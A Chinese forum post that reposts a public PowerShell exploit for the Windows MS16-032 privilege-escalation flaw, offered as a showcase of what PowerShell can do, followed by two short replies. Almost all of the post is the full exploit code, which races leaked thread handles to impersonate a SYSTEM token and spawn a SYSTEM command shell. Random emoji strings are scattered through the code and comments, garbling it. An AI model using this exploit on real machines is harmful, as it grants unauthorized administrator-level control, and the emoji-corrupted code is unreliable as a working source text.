一个基于Powershell的提权代码 |
本帖最后由 soarcloud 于 2016-8-13 09:44 编辑
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346: 💅🌦🥑🈚🦟function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable🧑🌾👔🪦💀👀 operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: 🖕⛵🍧❎🦚 * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: 👄🌦🧊➡🐙 * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==>👴👠🧻💀✌ https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause 💪🏝🔪❗🦚 Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE🥷🛍🦯😴✍ C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; 👨🦱👖🗑😆 using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION🧑💻🩴🛋😆👂 { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; 👳👙😷🧠 } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { 👂🛩🍍🈚🐴 public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; 👁🚠🍊🈚🦮 public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; 👳👖💾☠🦴 public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; 🤟⛪🥭ℹ🪶 public IntPtr hStdInput;public IntPtr hStdOutput; public IntPtr hStdError; } 🧑🎤👠🧬😊🙌 [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel;🧓👜📠🥱👂 public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32👮♂️🩲🎷🤖👍 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, 🧑💻🩴🪣🤡👌 String password, int logonFlags, String applicationName, String commandLine, int creationFlags, 🙏🏦🍍‼🐮 int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); 🎢🦞🆚🕊 [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); 👨🦱👚✏😆✌ [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, ✋⛄🦀🔞🐕 out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, 🧑🎤🥾🎺👻 int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken( 👌💈🍟🆎🐥 IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } 👃🛩🍞🅿🐝 public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); 👨🚒🥼🪣🤔✋ [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread();👵🪖🪥😷🖕 [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)]🧑⚕️🛍🖲😭🤳 public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); 👊💈🦀♊🪰 [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( 🤳🏝🫑‼🦟 IntPtr hProcess,uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject);👵👞🪗😳👎 [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle,👩✈️👞🪜😉👂 IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); ✊🎠🥚♻🪰 } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)]👨🎨🧢🔌😃👍 public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); }🧑🚀🧣🎷😤✊ "@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO 🧑⚕️💄🧯😪🤛 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 👍🚤🦞🈳🐴 # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory🥷🥾📏🤡👀 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", ✌🛑🍞♑🦦 0x00000002, "C:\Windows\System32\cmd.exe", "",0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS🥷💍✏😶 $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, ✋🚈🍚🆒🕊 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)👩👚🩸😫🦷 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } 🧑🍳🛍📞😡👂 function Get-SystemToken { echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread)🧑💻🥼🗡🥰✍ if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" 🏦🥛❗🐕 echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread)🥷👔📮😅🖕 echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" 🌧🥚🆗🐞 # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;)🧑🎤👠📥😂🤛 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!"👨🎨🩰🧯😋🤞 Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE👨🚒💎💿😷🖕 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!"🧑🎤🧦🧬🤔👂 Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." 💪🗼🥣♏🐮 $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- ;) $ms16032 = @"👨🦱💎🖌💩 __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| 🧑🌾👑💾😛🤝 [by b33f -> @FuzzySec] "@ $ms16032 👨🦱👜🛏😤✋ # Check logical processor count, race condition requires 2+ echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return 👁🚂🍼 } # Create array for Threads & TID's $ThreadArray = @() $TidArray = @() 🙌🌧🥚🈴🐋 echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle 🤟🎠🎂🈴🐉 $hThreadID = [Kernel32]::GetThreadId($hThread) # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) {👜🛋🧠 $ThreadArray += $hThread # This is what we need! } } } 👩✈️👖📱😶🖕 if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"🧒🎩🎷🥰👏 echo "`n[?] Thread handle list:" $ThreadArray } echo "`n Sniffing out privileged impersonation token.." 🧢🗑🤮👏 foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken 👁🪐🍟🅰🐮 echo "`n Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) 🧑💻👙💿👻🧠 # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace🧑⚕️🧥🖌🥲👁 $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)🧦📟🙂🦴 } }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race"👳👗🔌😤🤌 # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO 👦👒📬😡👃 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION 👈🎠🍟☯🐻 # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( 👴🩳💾😍🖕 "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) 🩰📷😀 $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"🧑🚀🩰📟🥲✍ $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return }🥷🧢📷😋🦷 # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) 👂🌦🧊⁉🐉 } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() ✍🎠🍌♑🐻 } } 看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。 💪🚈🎂🆒🐂
帖子热度 1.1万 ℃
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然而到现在我都不想去了解这个powershell
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畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
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